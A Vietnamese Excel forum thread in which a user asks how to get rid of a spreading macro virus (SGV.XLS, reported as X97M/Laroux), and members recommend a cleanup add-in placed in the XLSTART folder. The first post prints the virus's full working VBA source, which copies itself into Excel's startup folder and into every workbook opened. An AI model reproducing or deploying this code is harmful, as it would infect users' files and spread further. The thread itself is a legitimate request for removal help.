V/v xóa, gỡ marco ẩn_nguy hại

Liên hệ QC

hvnhpro

Thành viên hoạt động
Tham gia
3/3/11
Bài viết
121
Được thích
71
Giới tính
Nam
Em chào các Anh/Chị diễn đàn GPE
Em có vướng vào file SGV.XLS chứa "marco" lây lan, mà nhiều đồng nghiệp của em cũng dính.
Em không biết truy tìm nguồn cơn ở đâu, hay có cách nào để diệt nó triệt để được.

Hiện em đang chỉ diệt được tạm thời là sẽ xóa vòng lặp ở Sub check_file_code e để phía dưới. xóa file SGV.XLS ở thư mục C:\User\AppData\Roaming\Microsoft\Excel\XLSTART. Nếu có vô tình mở lại file bị dính marcro gốc thì lại mắc phải marco này. Do đó em đang phải để file SGV.XLS _đã xóa vòng lặp kia đi tại thư mục trên để không bị lỗi nữa.

Anh/Chị cho em xin giải pháp để có thể giải quyết vấn đề này triệt để hơn giúp em với.
Do file bị lỗi nên em không dám up lên diễn đàn.
Em cảm ơn Anh/Chị đã chịu khó đọc bài viết hơi lủng củng của em ạ.

Mã:
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "SGV.XLS")
If m$ = "SGV.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
N4$ = ActiveWorkbook.Name
Sheets("SGV").visible = True
Sheets("SGV").Select
Sheets("SGV").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(N4$).Sheets("SGV").visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case 1
Application.ScreenUpdating = False
N4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(N4$).Sheets(1).Name
If s$ <> "SGV" Then


Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
Workbooks(N4$).Sheets("SGV").visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "SGV.XLS!check_files"
Case Else
End Select
End Sub
 
Bạn dùng add-in trong liên kết bên dưới thử xem nhé. Tôi tạo topic mới để mọi người tìm cho dễ.
 
Bạn dùng add-in trong liên kết bên dưới thử xem nhé. Tôi tạo topic mới để mọi người tìm cho dễ.
Em cảm ơn Anh.
Để em xài thử thêm mấy hôm xem sao. Em vừa thử dùng thì nếu mở file nhiễm virut, marco nó vẫn tự copy ạ.
nay 1 máy win 10 dính thì báo là virut X97M/Laroux
như link này ạ https://www.giaiphapexcel.com/diendan/threads/virus-macro-đang-phát-triển-và-nguy-hiểm-hơn.65236/
 
Lần chỉnh sửa cuối:
Bạn thử dùng bằng cách nào, bạn mô tải lại thử xem.
Cách bước em đang thực hiện như sau ạ.
1. Tải file DeleteVirusMacro.xla về, mở file addin lên, nháy đúp để mở file.
2. Xóa file SGV.xls ở thư mục XLSTART - file này chưa module SGV em đã xóa hết các bước check và vòng lặp ở 2 sub auto_open và check_file,
3. Mở lại 1 file excel trắng lên, ấn ALT + F11 xem các macro hiện có. Tắt các macro chưa dùng đi.
Lúc này chỉ còn duy nhất vba "DeleteVirusMacro.xla"
4. Vào outlook, mở lại file excel nhiễm virut +enable marco.
5. Ấn ALT + F11 xem các macro hiện có thì vẫn hiện lên marco SGV.xls
ở thư mục XLSTART vẫn có file SGV.xls.

Hôm nay em sẽ làm lại như sau
1. Cài hẳn addin vào xem có hiệu quả hơn không". File/Options/Add-ins" sau đó add DeleteVirusMacro.xla vào ạ.
2. Tiếp tục mở file viruts và các file chứa marco để thao tác, xem có bất thường gì không.
Em xài tiếp xem có vẫn đề gì em sẽ báo lại Anh ạ.
 

Bạn có nhu cầu dùng macro thì đã thiết lập bật cho phép chạy macro.
Việc còn lại chỉ cần chép cái addins kia vào thư mục XLSTART (xem bên dưới) này là xong, không cần phải làm gì nữa cả. Cứ dùng Excel, viết code, chạy macro như chưa có chuyện gì xảy ra.

Gõ cái này vào RUN:
%appdata%\Microsoft\Excel\XLSTART

1654222394660.png
 
Em xin chân thành cảm ơn 2 Anh

huuthang_bd

befaint

đã hỗ trợ em.
Em dùng đã xóa được SGV.xls rồi ạ.
Em copy thử cho 2 máy ngồi cạnh thấy ổn áp.
Chắc là diệt được virut rồi. Nếu có vấn đề phát sinh em xin báo lại sau.
Bài đã được tự động gộp:

 
Bạn có nhu cầu dùng macro thì đã thiết lập bật cho phép chạy macro.
Việc còn lại chỉ cần chép cái addins kia vào thư mục XLSTART (xem bên dưới) này là xong, không cần phải làm gì nữa cả. Cứ dùng Excel, viết code, chạy macro như chưa có chuyện gì xảy ra.

Gõ cái này vào RUN:
%appdata%\Microsoft\Excel\XLSTART

View attachment 276826
làm theo cách này Ok này, vẫn dùng được Macro khác bình thường, Thanks 2 bác
 
Web KT
Back
Top Bottom